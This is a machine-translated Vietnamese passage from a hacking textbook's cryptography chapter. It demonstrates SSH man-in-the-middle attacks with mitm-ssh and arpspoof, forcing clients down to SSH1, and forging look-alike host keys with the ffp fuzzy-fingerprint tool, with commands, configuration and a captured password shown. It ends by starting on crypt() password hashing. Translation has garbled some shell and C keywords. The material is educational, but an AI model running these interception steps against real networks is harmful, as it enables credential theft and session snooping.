Kết nối tới 192.168.42.72 đã đóng.
iz@tetsuo:~ $
Mọi thứ có vẻ ổn và kết nối có vẻ an toàn.
Tuy nhiên, kết nối đã được định tuyến bí mật qua máy của kẻ tấn công,
sử dụng kết nối được mã hóa riêng để quay lại máy chủ mục tiêu. Quay
lại máy của kẻ tấn công, mọi thứ về kết nối đã được ghi lại.
Trên máy của kẻ tấn công
người đọc@hacking:~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222
Sử dụng tuyến tĩnh đến 192.168.42.72:22
Máy chủ SSH MITM đang lắng nghe trên cổng 0.0.0.0 2222.
Tạo khóa RSA 768 bit.
Hoàn tất việc tạo khóa RSA.
CẢNH BÁO: /usr/local/etc/moduli không tồn tại, sử dụng mô-đun cố định
[MITM] Đã tìm thấy mục tiêu thực 192.168.42.72:22 cho máy chủ NAT 192.168.42.250:1929
[MITM] Định tuyến SSH2 192.168.42.250:1929 -> 192.168.42.72:22
[2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection mật khẩu 0 sP#byp%srt
[MITM] Kết nối từ UNKNOWN:1929 đã đóng
người đọc@hacking:~ $ ls /usr/local/var/log/mitm-ssh/
passwd.log
ssh2 192.168.42.250:1929 <- 192.168.42.72:22
ssh2 192.168.42.250:1929 -> 192.168.42.72:22
reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/passwd.log [2007-10-01
13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22
SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection mật khẩu 0 sP#byp%srt
người đọc@hacking:~ $ cat /usr/local/var/log/mitm-ssh/ssh2*
Lần đăng nhập cuối: Thứ Hai 01/10 06:32:37 2007 từ 192.168.42.72
Linux loki 2.6.20-16-generic #2 SMP Thứ năm 7 tháng 6 20:19:32 UTC 2007 i686
jose@loki:~ $ ls -a
. .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Ví dụ
jose@loki:~ $ id
uid=1001(jose) gid=1001(jose) nhóm=1001(jose)
jose@loki:~ $ thoát
đăng xuất
Vì xác thực thực sự được chuyển hướng, với máy của kẻ tấn công hoạt
động như một proxy, mật khẩu sP#byp%srt có thể bị đánh hơi. Ngoài ra, dữ
liệu được truyền trong quá trình kết nối bị bắt, cho kẻ tấn công thấy mọi
thứ nạn nhân đã làm trong phiên SSH.
Khả năng ngụy trang thành một trong hai bên của kẻ tấn công là điều
khiến loại tấn công này trở nên khả thi. SSL và SSH được thiết kế với mục
đích này và có biện pháp bảo vệ chống lại việc giả mạo danh tính. SSL sử
dụng chứng chỉ để xác thực danh tính và SSH sử dụng dấu vân tay của máy chủ.
Nếu kẻ tấn công không có chứng chỉ hoặc dấu vân tay phù hợp cho B khi A cố gắng mở một
Mật mã học 409
Machine Translated by Google
kênh liên lạc với kẻ tấn công, chữ ký sẽ không khớp và A sẽ nhận được cảnh
báo.
Trong ví dụ trước, 192.168.42.250 (tetsuo) chưa bao giờ
đã giao tiếp qua SSH với 192.168.42.72 (loki) và do đó không có dấu vân
tay máy chủ. Dấu vân tay máy chủ mà nó chấp nhận thực ra là dấu vân tay
được tạo ra bởi mitm-ssh. Tuy nhiên, nếu 192.168.42.250 (tetsuo) có dấu vân
tay máy chủ cho 192.168.42.72 (loki), toàn bộ cuộc tấn công sẽ bị phát
hiện và người dùng sẽ được đưa ra một cảnh báo rất rõ ràng:
iz@tetsuo:~ $ ssh jose@192.168.42.72
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
@ CẢNH BÁO: NHẬN DẠNG MÁY CHỦ TỪ XA ĐÃ THAY ĐỔI! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@
CÓ THỂ AI ĐÓ ĐANG LÀM ĐIỀU GÌ ĐÓ KHÔNG TỐT!
Có thể có người đang nghe lén bạn ngay lúc này (tấn công trung gian)!
Cũng có khả năng khóa máy chủ RSA vừa bị thay đổi.
Dấu vân tay cho khóa RSA được gửi bởi máy chủ từ xa là
84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c.
Vui lòng liên hệ với quản trị viên hệ thống của bạn.
Thêm khóa máy chủ chính xác vào /home/jon/.ssh/known_hosts để loại bỏ thông báo này.
Khóa vi phạm trong /home/jon/.ssh/known_hosts:1
Khóa máy chủ RSA cho 192.168.42.72 đã thay đổi và bạn đã yêu cầu kiểm tra nghiêm ngặt.
Xác minh khóa máy chủ không thành công.
iz@tetsuo:~ $
Trên thực tế, trình khách openssh sẽ ngăn người dùng kết nối cho đến khi dấu vân tay máy chủ cũ
đã được xóa. Tuy nhiên, nhiều trình khách SSH Windows không có cùng loại thực thi nghiêm ngặt các quy
tắc này và sẽ hiển thị cho người dùng hộp thoại "Bạn có chắc chắn muốn tiếp tục không?".
Người dùng thiếu thông tin có thể nhấp thẳng vào cảnh báo.
0x752 Dấu vân tay máy chủ giao thức SSH khác nhau
Dấu vân tay máy chủ SSH có một số lỗ hổng. Các lỗ hổng này đã được khắc
phục trong các phiên bản mới nhất của openssh, nhưng chúng vẫn tồn tại trong
các triển khai cũ hơn.
Thông thường, lần đầu tiên kết nối SSH được thực hiện với máy chủ mới, dấu vân tay
của máy chủ đó sẽ được thêm vào tệp known_hosts , như hiển thị ở đây:
iz@tetsuo:~ $ ssh jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA là ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Bạn có chắc chắn muốn tiếp tục kết nối không (có/không)? Có
Cảnh báo: Đã thêm vĩnh viễn '192.168.42.72' (RSA) vào danh sách máy chủ đã biết.
mật khẩu của jose@192.168.42.72: <ctrl-c>
iz@tetsuo:~ $ grep 192.168.42.72 ~/.ssh/known_hosts
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/
52KTzjtKGacX4gTLNSc8fzfZU=
iz@tetsuo:~ $
410 0x700
Machine Translated by Google
Tuy nhiên, có hai giao thức SSH khác nhau—SSH1 và SSH2—
mỗi máy chủ có dấu vân tay riêng biệt.
iz@tetsuo:~ $ rm ~/.ssh/known_hosts
iz@tetsuo:~ $ ssh -1 jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA1 là e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55.
Bạn có chắc chắn muốn tiếp tục kết nối (có/không)? không
Xác minh khóa máy chủ không thành công.
iz@tetsuo:~ $ ssh -2 jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA là ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Bạn có chắc chắn muốn tiếp tục kết nối (có/không)? không
Xác minh khóa máy chủ không thành công.
iz@tetsuo:~ $
Biểu ngữ được trình bày bởi máy chủ SSH mô tả các giao thức SSH nào
nó hiểu (được in đậm bên dưới):
iz@tetsuo:~ $ telnet 192.168.42.72 22
Đang thử 192.168.42.72...
Đã kết nối tới 192.168.42.72.
Ký tự thoát là '^]'.
SSH-1.99-OpenSSH_3.9p1
Kết nối bị đóng bởi máy chủ nước ngoài.
iz@tetsuo:~ $ telnet 192.168.42.1 22
Đang thử 192.168.42.1...
Đã kết nối tới 192.168.42.1.
Ký tự thoát là '^]'.
SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
Kết nối bị đóng bởi máy chủ nước ngoài.
iz@tetsuo:~ $
Biểu ngữ từ 192.168.42.72 (loki) bao gồm chuỗi SSH-1.99, theo quy ước, có
nghĩa là máy chủ nói cả hai giao thức 1 và 2. Thông thường, máy chủ SSH sẽ được
cấu hình với một dòng như Giao thức 2,1, cũng có nghĩa là máy chủ nói cả hai
giao thức và cố gắng sử dụng SSH2 nếu có thể. Điều này là để duy trì khả năng
tương thích ngược, do đó, các máy khách chỉ có SSH1 vẫn có thể kết nối.
Ngược lại, biểu ngữ từ 192.168.42.1 bao gồm chuỗi SSH-2.0, cho thấy máy
chủ chỉ sử dụng giao thức 2. Trong trường hợp này, rõ ràng là bất kỳ máy khách
nào kết nối với máy chủ đều chỉ giao tiếp bằng SSH2 và do đó chỉ có dấu vân
tay máy chủ cho giao thức 2.
Điều tương tự cũng đúng với loki (192.168.42.72); tuy nhiên, loki cũng chấp nhận SSH1,
có một tập hợp dấu vân tay máy chủ khác. Không có khả năng máy khách đã sử
dụng SSH1 và do đó chưa có dấu vân tay máy chủ cho giao thức này.
Nếu daemon SSH đã sửa đổi được sử dụng cho cuộc tấn công MitM buộc máy
khách phải giao tiếp bằng giao thức khác, sẽ không tìm thấy dấu vân tay máy
chủ. Thay vì được đưa ra cảnh báo dài dòng, người dùng sẽ chỉ cần
Mật mã học 411
Machine Translated by Google
được yêu cầu thêm dấu vân tay mới. mitm-sshtool sử dụng tệp cấu hình tương
tự như openssh, vì nó được xây dựng từ mã đó. Bằng cách thêm dòng
Protocol 1 vào /usr/local/etc/mitm-ssh_config, daemon mitm-ssh sẽ tuyên
bố nó chỉ nói giao thức SSH1.
Đầu ra bên dưới cho thấy máy chủ SSH của Loki thường sử dụng cả giao
thức SSH1 và SSH2, nhưng khi mitm-ssh được đưa vào giữa bằng cách sử dụng
tệp cấu hình mới, máy chủ giả mạo tuyên bố rằng nó chỉ sử dụng giao thức SSH1.
Từ 192.168.42.250 (tetsuo), Chỉ là một cỗ máy vô tội trên mạng
iz@tetsuo:~ $ telnet 192.168.42.72 22
Đang thử 192.168.42.72...
Đã kết nối tới 192.168.42.72.
Ký tự thoát là '^]'.
SSH-1.99-OpenSSH_3.9p1
Kết nối bị đóng bởi máy chủ nước ngoài.
iz@tetsuo:~ $ rm ~/.ssh/known_hosts
iz@tetsuo:~ $ ssh jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA là ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Bạn có chắc chắn muốn tiếp tục kết nối không (có/không)? Có
Cảnh báo: Đã thêm vĩnh viễn '192.168.42.72' (RSA) vào danh sách máy chủ đã biết.
mật khẩu của jose@192.168.42.72:
iz@tetsuo:~ $
Trên máy của kẻ tấn công, thiết lập mitm-ssh để chỉ sử dụng giao thức SSH1
reader@hacking:~ $ echo "Giao thức 1" >> /usr/local/etc/mitm-ssh_config
reader@hacking:~ $ tail /usr/local/etc/mitm-ssh_config # Nơi
lưu trữ mật khẩu
#PasswdLogFile /var/log/mitm-ssh/passwd.log
# Nơi lưu trữ dữ liệu được gửi từ máy khách đến máy chủ
#ClientToServerLogDir /var/log/mitm-ssh
# Nơi lưu trữ dữ liệu được gửi từ máy chủ đến máy khách
#ServerToClientLogDir /var/log/mitm-ssh
Giao thức 1
người đọc@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Sử dụng tuyến tĩnh đến 192.168.42.72:22
Máy chủ SSH MITM đang lắng nghe trên cổng 0.0.0.0 2222.
Tạo khóa RSA 768 bit.
Hoàn tất việc tạo khóa RSA.
Bây giờ quay lại 192.168.42.250 (tetsuo)
iz@tetsuo:~ $ telnet 192.168.42.72 22
Đang thử 192.168.42.72...
Đã kết nối tới 192.168.42.72.
412 0x700
Machine Translated by Google
Ký tự thoát là '^]'.
SSH-1.5-OpenSSH_3.9p1
Kết nối bị đóng bởi máy chủ nước ngoài.
Thông thường, các máy khách như tetsuo kết nối với loki tại 192.168.42.72 sẽ
chỉ giao tiếp bằng SSH2. Do đó, sẽ chỉ có dấu vân tay máy chủ cho giao thức SSH 2
được lưu trữ trên máy khách. Khi giao thức 1 bị tấn công MitM ép buộc, dấu vân tay
của kẻ tấn công sẽ không được so sánh với dấu vân tay đã lưu trữ, do các giao thức
khác nhau. Các triển khai cũ hơn sẽ chỉ yêu cầu thêm dấu vân tay này vì về mặt kỹ
thuật, không có dấu vân tay máy chủ nào tồn tại cho giao thức này. Điều này được
hiển thị trong đầu ra bên dưới.
iz@tetsuo:~ $ ssh jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA1 là 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
Bạn có chắc chắn muốn tiếp tục kết nối không (có/không)?
Kể từ khi lỗ hổng này được công khai, các triển khai mới hơn của
OpenSSH có cảnh báo chi tiết hơn một chút:
iz@tetsuo:~ $ ssh jose@192.168.42.72
CẢNH BÁO: Đã tìm thấy khóa RSA cho máy chủ 192.168.42.72
trong /home/iz/.ssh/known_hosts:1
Dấu vân tay khóa RSA ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'
nhưng các loại khóa khác nhau đã được biết đến cho máy chủ này.
Dấu vân tay khóa RSA1 là 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.
Bạn có chắc chắn muốn tiếp tục kết nối không (có/không)?
Cảnh báo đã sửa đổi này không mạnh bằng cảnh báo được đưa ra khi dấu vân
tay máy chủ của cùng một giao thức không khớp. Ngoài ra, vì không phải tất cả máy
khách đều được cập nhật, kỹ thuật này vẫn có thể hữu ích cho một cuộc tấn công MitM.
0x753 Dấu vân tay mờ
Konrad Rieck có một ý tưởng thú vị liên quan đến dấu vân tay máy chủ SSH. Thông
thường, người dùng sẽ kết nối đến máy chủ từ nhiều máy khách khác nhau. Dấu vân
tay máy chủ sẽ được hiển thị và thêm vào mỗi lần sử dụng máy khách mới và người
dùng có ý thức bảo mật sẽ có xu hướng nhớ cấu trúc chung của dấu vân tay máy
chủ. Mặc dù không ai thực sự ghi nhớ toàn bộ dấu vân tay, nhưng những thay đổi
lớn có thể được phát hiện mà không tốn nhiều công sức. Việc có ý tưởng chung về
dấu vân tay máy chủ trông như thế nào khi kết nối từ máy khách mới sẽ làm tăng
đáng kể tính bảo mật của kết nối đó. Nếu một cuộc tấn công MitM được thực hiện,
sự khác biệt rõ ràng trong dấu vân tay máy chủ thường có thể được phát hiện bằng mắt.
Tuy nhiên, mắt và não có thể bị đánh lừa. Một số dấu vân tay sẽ trông rất
giống với những dấu vân tay khác. Chữ số 1 và 7 trông rất giống nhau, tùy thuộc
vào phông chữ hiển thị. Thông thường, các chữ số hex được tìm thấy ở đầu và cuối
dấu vân tay được ghi nhớ rõ ràng nhất, trong khi ở giữa có xu hướng
Mật mã học 413
Machine Translated by Google
hơi mơ hồ. Mục tiêu đằng sau kỹ thuật vân tay mờ là tạo ra khóa máy chủ có
dấu vân tay trông đủ giống với dấu vân tay gốc để đánh lừa mắt người.
Gói openssh cung cấp các công cụ để lấy khóa máy chủ từ máy chủ.
người đọc@hacking:~ $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey
# 192.168.42.72 SSH-1.99-OpenSSH_3.9p1
người đọc@hacking:~ $ cat loki.hostkey
192.168.42.72 ssh-rsa
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/
52KTzjtKGacX4gTLNSc8fzfZU=
người đọc@hacking:~ $ ssh-keygen -l -f loki.hostkey 1024
ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
người đọc@hacking:~ $
Bây giờ định dạng dấu vân tay khóa máy chủ đã được biết đến cho
192.168.42.72 (loki), các dấu vân tay mờ có thể được tạo ra trông tương tự.
Một chương trình thực hiện việc này đã được Rieck phát triển và có sẵn tại
http://www.thc .org/thc-ffp/. Đầu ra sau đây cho thấy việc tạo ra một số dấu
vân tay mờ cho 192.168.42.72 (loki).
người đọc@hacking:~ $ fpp
Sử dụng: fpp [Tùy chọn]
Tùy chọn:
-f loại
Chỉ định loại dấu vân tay để sử dụng [Mặc định: md5]
Có sẵn: md5, sha1, ripemd
-t băm
Dấu vân tay mục tiêu theo khối byte.
Ngăn cách bằng dấu hai chấm: 01:23:45:67... hoặc dạng chuỗi 01234567...
-kiểu k
Chỉ định loại khóa để tính toán [Mặc định: rsa]
Có sẵn: rsa, dsa
-b bit
-Chế độ K
Số bit trong khóa để tính toán [Mặc định: 1024]
Chỉ định chế độ tính toán chính [Mặc định: cẩu thả]
Có sẵn: cẩu thả, chính xác
-loại m
Chỉ định loại bản đồ mờ để sử dụng [Mặc định: gauss]
Có sẵn: gauss, cosine
-v biến thể Biến thể sử dụng để tạo bản đồ mờ [Mặc định: 7.3]
-y có nghĩa
Giá trị trung bình để sử dụng cho việc tạo bản đồ mờ [Mặc định: 0,14]
là -l kích thước
Kích thước danh sách chứa dấu vân tay tốt nhất [Mặc định: 10]
-s filename Tên tệp của tệp trạng thái [Mặc định: /var/tmp/ffp.state]
-e
Trích xuất cặp khóa máy chủ SSH từ tệp trạng thái
-d thư mục Thư mục lưu trữ các khóa ssh đã tạo vào [Mặc định: /tmp]
-p period Khoảng thời gian để lưu tệp trạng thái và hiển thị trạng thái [Mặc định: 60]
-V
Hiển thị thông tin phiên bản
Không có tệp trạng thái /var/tmp/ffp.state, hãy chỉ định băm mục tiêu.
người đọc@hacking:~ $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
---[Đang khởi tạo]------------------------------------------------------------------Đang khởi tạo Crunch Hash: Xong
Đang khởi tạo bản đồ mờ: Đã xong
Đang khởi tạo khóa riêng: Hoàn tất
Đang khởi tạo danh sách băm: Đã xong
Đang khởi tạo trạng thái FFP: Hoàn tất
414 0x700
Machine Translated by Google
---[Bản đồ mờ]-------------------------------------------------------------------------------Độ dài: 32
Loại: Phân phối Gauss nghịch đảo Tổng: 15020328
Bản đồ mờ: 10,83%
| 9,64% : 8,52% | 7,47% : 6,49% | 5,58% : 4,74% | 3,96% : 3,25% | 2,62% : 2,05% | 1,55% : 1,12% | 0,76% :
0,47% | 0,24% : 0,09% | 0,01% : 0,00% | 0,06% : 0,19% | 0,38% : 0,65% | 0,99% : 1,39% |
1,87% : 2,41% | 3,03% : 3,71% | 4,46% : 5,29% | 6,18% :
---[Khóa hiện tại]---------------------------------------------------------------Thuật toán chính: RSA (Rivest Shamir Adleman)
Bit khóa / Kích thước của n: 1024 Bit
Khóa công khai e: 0x10001
Bit khóa công khai / Kích thước của e: 17 Bit
Phi(n) và e r.prime: Có
Chế độ thế hệ: Cẩu thả
Tệp trạng thái: /var/tmp/ffp.state Đang
chạy...
---[Trạng thái hiện tại]------------------------------------------------------------------Chạy: 0ngày 00giờ 00phút 00giây | Tổng cộng:
0k băm | Tốc độ:
nan băm/s
-------------------------------------------------- ------------------------------
Dấu vân tay mờ tốt nhất từ tệp trạng thái /var/tmp/ffp.state
Thuật toán băm: Tóm tắt tin nhắn 5 (MD5)
Kích thước tóm tắt: 16 Byte / 128 Bit
Tóm tắt tin nhắn: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81 Tóm tắt mục
tiêu: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Chất lượng mờ: 25,652482%
---[Trạng thái hiện tại]------------------------------------------------------------------Đang chạy: 0d 00h 01m 00s | Tổng cộng: 7635k băm | Tốc độ: 127242 băm/giây
-------------------------------------------------- ------------------------------
Dấu vân tay mờ tốt nhất từ tệp trạng thái /var/tmp/ffp.state
Thuật toán băm: Tóm tắt tin nhắn 5 (MD5)
Kích thước tóm tắt: 16 Byte / 128 Bit
Tóm tắt tin nhắn: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80 Tóm tắt mục
tiêu: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Chất lượng mờ: 55.471931%
---[Trạng thái hiện tại]------------------------------------------------------------------Đang chạy: 0d 00h 02m 00s | Tổng cộng: 15370k băm | Tốc độ: 128082 băm/giây
-------------------------------------------------- ------------------------------
Dấu vân tay mờ tốt nhất từ tệp trạng thái /var/tmp/ffp.state
Thuật toán băm: Tóm tắt tin nhắn 5 (MD5)
Kích thước tóm tắt: 16 Byte / 128 Bit
Tóm tắt tin nhắn: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80 Tóm tắt mục
tiêu: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Chất lượng mờ: 55.471931%
.:[ đầu ra đã được cắt bớt ]:.
Mật mã học 415
Machine Translated by Google
---[Trạng thái hiện tại]------------------------------------------------------------------Đang chạy: 1 ngày 05 giờ 06 phút 00 giây | Tổng cộng: 13266446 nghìn băm | Tốc độ: 126637 băm/giây
-------------------------------------------------- ------------------------------
Dấu vân tay mờ tốt nhất từ tệp trạng thái /var/tmp/ffp.state
Thuật toán băm: Tóm tắt tin nhắn 5 (MD5)
Kích thước tóm tắt: 16 Byte / 128 Bit
Tóm tắt tin nhắn: ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50
Thông báo mục tiêu: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0
Chất lượng mờ: 70.158321%
-------------------------------------------------- ------------------------------
Thoát và lưu tệp trạng thái /var/tmp/ffp.state
người đọc@hacking:~ $
Quá trình tạo dấu vân tay mờ này có thể kéo dài tùy ý.
Chương trình theo dõi một số dấu vân tay tốt nhất và sẽ hiển thị chúng theo định
kỳ. Tất cả thông tin trạng thái được lưu trữ trong /var/tmp/ffp.state, do đó,
chương trình có thể thoát bằng phím CTRL-C và sau đó tiếp tục lại sau bằng cách
chỉ cần chạy ffp mà không có bất kỳ đối số nào.
Sau khi chạy một lúc, cặp khóa máy chủ SSH có thể được trích xuất từ
tập tin trạng thái với khóa chuyển đổi -e .
người đọc@hacking:~ $ ffp -e -d /tmp
---[Đang khôi phục]-------------------------------------------------------------------------------Đọc tệp trạng thái FFP: Đã xong
Đang khôi phục môi trường: Đã xong
Đang khởi tạo Crunch Hash: Xong
-------------------------------------------------- ------------------------------
Lưu cặp khóa máy chủ SSH: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09] reader@hacking:~ $
ls /tmp/ssh-rsa*
/tmp/ssh-rsa00 /
/tmp/ssh-rsa02.pub /tmp/ssh-rsa05
tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/sshrsa01 /tmp/ssh-
/tmp/ssh-rsa03.pub /tmp/ssh-rsa06
rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa02
người đọc@hacking:~
/tmp/ssh-rsa07.pub
/tmp/ssh-rsa05.pub /tmp/ssh-rsa08
/tmp/ssh-rsa08.pub
/tmp/ssh-rsa06.pub /tmp/ssh-rsa09
/tmp/ssh-rsa04.pub /tmp/ssh-rsa07
/tmp/ssh-rsa09.pub
$
Trong ví dụ trước, 10 cặp khóa máy chủ công khai và riêng tư đã được tạo.
Dấu vân tay cho các cặp khóa này sau đó có thể được tạo và so sánh với dấu vân tay
gốc, như được thấy trong đầu ra sau.
reader@hacking:~ $ cho i trong $(ls -1 /tmp/ssh-rsa*.pub)
> làm
> ssh-keygen -l -f $i
> xong
1024 ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 /tmp/ssh-rsa00.pub
1024 ba:06:7f:12:bd:8a:5b:5c:eb:dd:93:ec:ec:d3:89:a9 /tmp/ssh-rsa01.pub
1024 ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0 /tmp/ssh-rsa02.pub
1024 ba:06:49:d4:b9:d4:96:4b:93:e8:5d:00:bd:99:53:a0 /tmp/ssh-rsa03.pub
416 0x700
Machine Translated by Google
1024 ba:06:7c:d2:15:a2:d3:0d:bf:f0:d4:5d:c6:10:22:90 /tmp/ssh-rsa04.pub
1024 ba:06:3f:22:1b:44:7b:db:41:27:54:ac:4a:10:29:e0 /tmp/ssh-rsa05.pub
1024 ba:06:78:dc:be:a6:43:15:eb:3f:ac:92:e5:8e:c9:50 /tmp/ssh-rsa06.pub
1024 ba:06:7f:da:ae:61:58:aa:eb:55:d0:0c:f6:13:61:30 /tmp/ssh-rsa07.pub
1024 ba:06:7d:e8:94:ad:eb:95:d2:c5:1e:6d:19:53:59:a0 /tmp/ssh-rsa08.pub
1024 ba:06:74:a2:c2:8b:a4:92:e1:e1:75:f5:19:15:60:a0 /tmp/ssh-rsa09.pub
người đọc@hacking:~ $ ssh-keygen -l -f ./loki.hostkey 1024
ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
người đọc@hacking:~ $
Trong số 10 cặp khóa được tạo ra, cặp khóa có vẻ giống nhau nhất có thể được xác định bằng mắt.
Trong trường hợp này, ssh-rsa02.pub, được hiển thị bằng chữ in đậm, đã được chọn. Tuy nhiên, bất kể cặp
khóa nào được chọn, nó chắc chắn sẽ trông giống dấu vân tay gốc hơn bất kỳ khóa nào được tạo ngẫu
nhiên.
Khóa mới này có thể được sử dụng với mitm-ssh để tạo ra một cuộc tấn
công hiệu quả hơn nữa. Vị trí của khóa máy chủ được chỉ định trong tệp configuration, vì vậy việc sử dụng khóa mới chỉ đơn giản là thêm một dòng HostKey
vào /usr/local/etc/mitm-ssh_config, như được hiển thị bên dưới. Vì chúng ta cần
xóa dòng Protocol 1 mà chúng ta đã thêm trước đó, đầu ra bên dưới chỉ cần ghi đè
lên tệp cấu hình.
reader@hacking:~ $ echo "HostKey /tmp/ssh-rsa02" > /usr/local/etc/mitm-ssh_config reader@hacking:~
$ mitm-ssh 192.168.42.72 -v -n -p 2222Sử dụng tuyến tĩnh đến 192.168.42.72:22
Vô hiệu hóa phiên bản giao thức 1. Không thể tải khóa máy chủ
Máy chủ SSH MITM đang lắng nghe trên cổng 0.0.0.0 2222.
Trong một cửa sổ terminal khác, arpspoof đang chạy để chuyển hướng lưu
lượng đến mitm-ssh, sẽ sử dụng khóa máy chủ mới với dấu vân tay mờ. Đầu ra bên
dưới so sánh đầu ra mà máy khách sẽ thấy khi kết nối.
Kết nối bình thường
iz@tetsuo:~ $ ssh jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA là ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Bạn có chắc chắn muốn tiếp tục kết nối không (có/không)?
Kết nối bị tấn công MitM
iz@tetsuo:~ $ ssh jose@192.168.42.72
Không thể xác định được tính xác thực của máy chủ '192.168.42.72 (192.168.42.72)'.
Dấu vân tay khóa RSA là ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0.
Bạn có chắc chắn muốn tiếp tục kết nối không (có/không)?
Bạn có thể nhận ra sự khác biệt ngay lập tức không? Những dấu vân tay này trông giống nhau
đủ để đánh lừa hầu hết mọi người chấp nhận kết nối.
Mật mã học 417
Machine Translated by Google
0x760 Bẻ khóa mật khẩu
Mật khẩu thường không được lưu trữ dưới dạng văn bản thuần túy. Một tệp chứa tất cả
mật khẩu dưới dạng văn bản thuần túy sẽ là mục tiêu quá hấp dẫn, vì vậy, thay vào
đó, một hàm băm một chiều được sử dụng. Hàm nổi tiếng nhất trong số các hàm này dựa
trên DES và được gọi là crypt(), được mô tả trong trang hướng dẫn hiển thị bên dưới.
TÊN
crypt - mã hóa mật khẩu và dữ liệu
TÓM TẮT
#xác định _XOPEN_SOURCE
#include <unistd.h>
char *crypt(const char *key, const char *salt);
SỰ MIÊU TẢ
crypt() là hàm mã hóa mật khẩu. Nó dựa trên Dữ liệu
Thuật toán chuẩn mã hóa với các biến thể dự định (trong số những
(những thứ khác) để ngăn cản việc sử dụng phần cứng để tìm kiếm khóa.
chìa khóa là mật khẩu do người dùng nhập.
salt là chuỗi hai ký tự được chọn từ tập hợp [a–
zA–Z0–
9./]. Điều này
chuỗi được sử dụng để làm nhiễu thuật toán theo một trong 4096 cách khác nhau.
Đây là hàm băm một chiều mong đợi mật khẩu dạng văn bản thuần túy và giá trị muối
để nhập, sau đó xuất ra một hàm băm với giá trị muối được thêm vào. Hàm băm này về mặt
toán học là không thể đảo ngược, nghĩa là không thể xác định được mật khẩu gốc chỉ bằng
hàm băm. Viết một chương trình nhanh để thử nghiệm với hàm này sẽ giúp làm rõ mọi sự
nhầm lẫn.
crypt_test.c
#xác định _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
if(argc < 2)
{ printf("Cách sử dụng: %s <mật khẩu dạng văn bản thuần túy> <giá trị salt>\n", argv[0]);
thoát(1);
}
printf("mật khẩu \"%s\" có muối \"%s\" ", argv[1], argv[2]);
printf("băm đến ==> %s\n", crypt(argv[1], argv[2]));
}
Khi chương trình này được biên dịch, thư viện mã hóa cần được liên kết.
Điều này được thể hiện ở kết quả sau, cùng với một số lần chạy thử nghiệm.
418 0x700
Machine Translated by Google
